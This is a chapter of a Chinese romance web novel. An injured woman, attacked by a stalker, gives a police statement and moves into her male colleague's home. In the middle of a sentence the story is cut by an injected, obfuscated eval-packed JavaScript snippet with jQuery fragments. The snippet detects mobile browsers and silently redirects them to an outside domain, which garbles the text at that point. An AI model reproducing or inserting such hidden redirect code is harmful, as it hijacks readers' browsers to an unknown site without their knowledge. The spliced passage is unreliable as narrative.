一阵浓厚的消毒水味扑了夏成熠满鼻,直接熏醒了还在昏睡的人。
眼皮未掀起,浑身上下酸痛不已,她怀疑就在自己昏迷时,身体被三百节满载货物的绿皮火车,反复碾了八百遍。
干涩的眼珠子动了动,微微睁开眼,光亮未入,耳边先传来了一道铿锵有力的女声。
“夏成熠的家属,她醒了,赶紧过来。”
急促的脚步声越来越近,她脑子还没完全清醒,岑冬樾的清俊脸庞就已经出现眼前,眉头微蹙,双眸里尽是对她的担心。
“疼……”
岑冬樾紧拧的眉心,在她喊疼后,拧得更紧了些。
她抬手想抚平,牵动肌肉扯到伤口,一阵钻心刺痛直达脑子,她一下没忍住,当场倒吸一口凉气,吓得岑冬樾连忙牵过她的手紧握住。
岑冬樾:“要坐起来吗?还是再睡会儿?”
“疼,睡不着。”夏成熠委屈道。
“我去帮你叫医生?”
“不要医生,我缓缓就好。”
一声轻叹里满是对她的无可奈何,岑冬樾帮她把病床靠背调起,又给她喂了小半杯温水,正好门口走进来一男一女两个警察。
男警问:“夏小姐,你觉得身体现在怎样?方便接受问话吗?”
岑冬樾半挡在她身前,微微侧身望向她,似是在确认她的精神状态,直到见她点头才退开,但没有出房门,而是站在她身边。
警察问话专业,三五下就问完了她走那条小路的原因,最近有没有和什么人结怨,有没有看清袭击她的人是谁。
走小路自然是为了抄近路回家。
不仅害她受伤,还害她被警察教育了一番,连一旁的岑冬樾也用眼神谴责她的投机取巧。
至于其他两个问题,她是真不知道。
顶着岑冬樾“为什么不告诉我”的责备眼神,夏成熠说出这两个月,自己时常察觉到被有心人跟踪窥探的事。
最后想起一个疑点,她补充了句:“我用沙子往他脸上丢,他躲开之后没有揉眼的动作,我猜他应该是戴了眼镜。”
女警颔首记下。
问到岑冬樾,正好也解开了他出现及时的原因。
岑冬樾:“我昨晚送她回家,她手链正好掉我车上了,我来还给她。”说完,还拿出了那条手链。
夏成熠一看,还真是沈漾送她的那条,她说怎么突然不见了,原来是那天掉岑冬樾车里了。
警察问完话,并拿走了岑冬樾车子的行车记录离开,她拿起枕边的手机一看,现在已经凌晨一点。
她昏了五个小时,而岑冬樾以家属的身份,陪了她五个小时,而她的这位“家属”,现在正双手抱臂站在床边俯视着她,严肃的目光看得她有些心虚。
果不其然,下一秒出现的,是她早就猜到了的教训口吻。
岑冬樾冷着脸问:“夏成熠,你多大了?是不知道那边修路吗?还是不知道走夜路危险?”
“虚岁二十九,周岁二十八……”她乖巧回答。
“这个是重点吗?!”
岑冬樾越发暴躁,深吸一口气缓了缓,再说话时语气冷静不少,“医生说你醒了就能出院,你是打算休息一晚明天再走,还是现在就走?”
她看了眼自己身上的衣服,除了脏了点外,完好无损,又瞥了眼四周无人,大声说:“现在!”
因为爷爷奶奶接连病逝,她对医院着实没什么太好的记忆,能现在走,她绝不会留到明天。
被岑冬樾横抱着坐到副驾,夏成熠刚扣上安全带车子就已经启动,她连忙说:“我要回家,自己家!”
“我知道。”
待车子稳稳停在自家地库,她才稍稍安心些,顶着浑身疼痛推开车门,岑冬樾已经站在面前,以不容置喙地语气问:“要抱,还是背?”
双腿在地上差点没站住,她果断选择被背。
岑冬樾也任着她指路,把她背进了家门,停在门边环顾了好一会儿,就是不把她放下。
她拍了拍他的肩膀示意,只收获了一句疑问:“你觉得哪里适合你坐下?”
“最近加班加猛了……”
沙发上堆着好几堆小山似的衣服,一堆是昨天收下来的,另一堆是大前天收下来的,还有一堆她也忘了是什么时候的。
自智域去了沪市,她工作之外的生活简直过得一塌糊涂。
姑姑一直以为,是夏成熠这个表姐在日常里照顾智域,其实一直是智域这个表弟,在细心为她这个表姐打点着一切。
“你房间在哪里?”
想起房间的乱象,她挣扎着从岑冬樾后背跳下,“我到家了,我自己可以的!”
挣扎晃动的大腿被岑冬樾按住,他径直往房门大开的那间房走去。
又被他预判到了。
夏成熠垂头丧气停住挣扎动作。
岑冬樾把她放到床上,倚在门边审视着眼前一切,调侃道:“夏工,你的其他鱼知道你私底下这么,粗犷吗?”
“要你管!”她白了他一眼,“岑总还不走吗?我都这样了,你还想留宿?”
岑冬樾不接她的话,转而问:“你行李箱在哪儿?”
夏成熠瞪大双眼,“你要干嘛?”
“帮你收拾点衣服,夏工,你心是有多大?你觉得你这里还能住?”
岑冬樾说完就开始用目光仔细搜寻屋子里的每一处,最后还真让他在书桌底下找到了行李箱。
“你不相信国内天眼系统的威力?”
岑冬樾帮她收拾衣服的手顿住,转头看向她,“工程车下午把你们这片的光纤挖断了。”
“不会吧?”
她掏出手机翻看着业主群,果然有关于光纤挖断的信息,还是下午她忙于看房时候通知的。
一件事是巧合。
但一件又一件事情,加上之前的被窥视感。
夏成熠不禁打了个冷颤,一点不客气,对着岑冬樾指了房间几个地方。
“那里是我的护肤品,还有那里是我的私房钱,还有那里,是我的工作资料,还有手机充电线记得给我装上。”
不舍地看着已成习惯的四周,为了自己的小命,她还是下定决心道:“我还是住一段时间酒店得了。”
“谢谢你还关心自己的小命,抄近路小姐。”
听着岑冬樾的冷嘲撇嘴,她低头看去,一件件衣服在岑冬樾手中被叠好放进箱子里,她就没见过自己的行李箱这么整齐明了过。
她从前出差的行李都是胡乱收收,最后箱子能合上就行。
在生活自理能力方面,她能活到现在,还真是全靠身体好。
趁着岑冬樾帮她收拾东西,她打开公司附近的酒店,一晚四位数的价格,这才想起现在已经暑假,随便一家酒店的价格都几乎翻了个倍。
可为了她的小命。
这酒店就是再贵,她也得住。
手指还停在酒店的日期选择上,她就眼睁睁看着自己的手机被收走,行李箱已经被合上放在墙边,床头的手机充电线却还在。
她以为是岑冬樾忘了,身体往床上一躺,伸着手去够,却听见岑冬樾说:“别带了,我家里有。”
夏成熠猛然扭头,“你家?”
岑冬樾倚在墙边,双手交叉在胸前,“他都跟踪你两个月了,能不知道你在哪里上班?你确定酒店就一定安全?”
想起前段时间的新闻报道,她还真是,一点都不确定。
姑姑姑父嫌南方太热,跑到北方避暑去了,况且他们家离公司有点远,上下班也不方便;让她去求助亲妈成晨,几乎不可能。
她自信一点,把“几乎”去掉。
就是不可能。
她和乔知之认识多年,但乔知之和父母同住;董宜珊一个小姑娘在江城工作,还是跟人合租,她不可能让董宜珊陪她一起陷入未知的危险中。
人有时候真的不得不向现实低头。
思来想去,暂时住岑冬樾家,是她现下最好的选择。
她躺在床上,手支着脑袋问:“和我住,你不觉得奇怪吗?”
“奇怪在?”岑冬樾反问,又勾唇笑笑,“还是说夏工你都这样了,还色心不死,又打起我的主意了?”
真是给她气笑了,手向岑冬樾伸出,“拉我起来,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15772217|167005||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
困了。”
二人回到岑冬樾家里已经快凌晨三点,夏成熠虽然现在全身都痛,但到底是在医院睡了一觉,现在精神得很,而且她这身脏污,不洗洗也没法睡。
岑冬樾一副习以为常模样,把她放在客厅沙发后,拖着她的行李箱就往主卧走。
见状,她连忙从沙发蹦起,“诶诶诶!!”
她一瘸一拐追上岑冬樾,一把拉住自己的行李箱,“这可是主卧!”
岑冬樾转身微笑,“你想什么好事呢?”
笑容一收,指着隔壁的客房,“我睡隔壁。”
随后上下打量她几眼,“我只是人比较好,看你行动不便,主卧有配套的浴室,省得你半夜蹦跶吵醒我。”
她松开手,低头看着自己裸露在外的双腿,膝盖又红又肿,腿上满是被拖拽造成的擦伤,上药后还依旧惨不忍睹。
岑冬樾拖着她的行李箱放在主卧墙边,“今晚你先将就着睡,明天阿姨来搞卫生,我再让她把床单给换了。”
他蹲身抱起一直跟在二人身后的夏怀民,走出主卧还不忘关门。
又回到这个阔别已久的地方,夏成熠总觉得心里七上八下,那种安心里夹杂着不安的心情再次出现。
深吸一口气让自己恢复镇定,她从行李箱里翻出睡衣和浴巾,原本被她随手丢在床上的内衣,想了想后又拿起,带着一大捧东西进了浴室。
脏衣服一脱,她对镜子仔细观察,难怪岑冬樾选择把她接回来。
脖子上一道被扯住T恤后领勒出的,已成暗色的红痕极其扎眼,手臂两侧和大腿一样,都是密密麻麻的擦伤,看着瘆人,其实不深。
伤口最深的,要数膝盖。
就算是愈合了也免不了留疤。
她扪心自问,除了招惹岑冬樾,不该做的事情她一件没做,贪方便抄个近路而已,怎么就被不法分子给袭击了呢?
一口正要叹出的惆怅还憋在胸口,浴室的门被敲响,吓得她拿过浴巾挡在胸前。
岑冬樾的声音响起,“医生说你膝盖尽量别沾水,你洗澡的时候小心点。”
“知道了!”
开关一按,哗的一声水流击地。
岑冬樾退出主卧,抱着小猫咪回到沙发上,有一下没一下地顺着毛,看似在撸猫,其实耳边全是从浴室传来的水声。
隔了浴室门,又隔了主卧门。
声音早就含糊不清。
但他就是能听见,从喷头落下的每滴水,他都能听个一清二楚。
因为夏成熠就在里面。
这个女人,每次出场都能让他惊心动魄。
翻墙、在天台边缘行走、车祸、落水,以及今晚……
要不是那天他留下了手链,要不是他今晚一时兴起来还手链,要不是他……他还贼心不死,正好赶上。
要是他没赶上,夏成熠该怎么办。
他只要一想到那些猜测,心脏就抽着抽着痛。
那个被他一脚就从夏成熠身边踹开的男人,有胆子摸黑跟踪袭击,却没胆子面对他的拳头,一见他追来就往那天乌漆嘛黑的小路跑,而他也因为逆光,没能看清楚那人的样子。
不然何至于此?
最近他大概是不敢离开夏成熠一步,省得那人卷土重来。
幸好他发现,只要他表现得足够公事公办,对她没有一点兴趣,她不但不会跑,甚至还会因为不服输而主动靠近。
虽然搞不懂她的脑回路。
但,拿捏。
就是难为夏成熠了,带着一身伤,连路都走不稳,生活肯定更加不便。
光是洗澡,就不知道她能不能行?
指尖传来一阵微微刺痛,岑冬樾低头一看,夏怀民早就从他腿上溜走,唯有食指留下的浅浅牙印,坐实了小猫咪的不耐烦。
水声减弱,看来主卧的暂住者已经艰难结束了洗澡战斗。
该他去洗个澡冷静一下了。
心里这么想着,他站起身,与此同时,主卧门打开,夏成熠顶着一头湿法从门缝里探头,脸上带着讨好的讪笑。
“那个,能帮我涂一下药吗?我够不到……”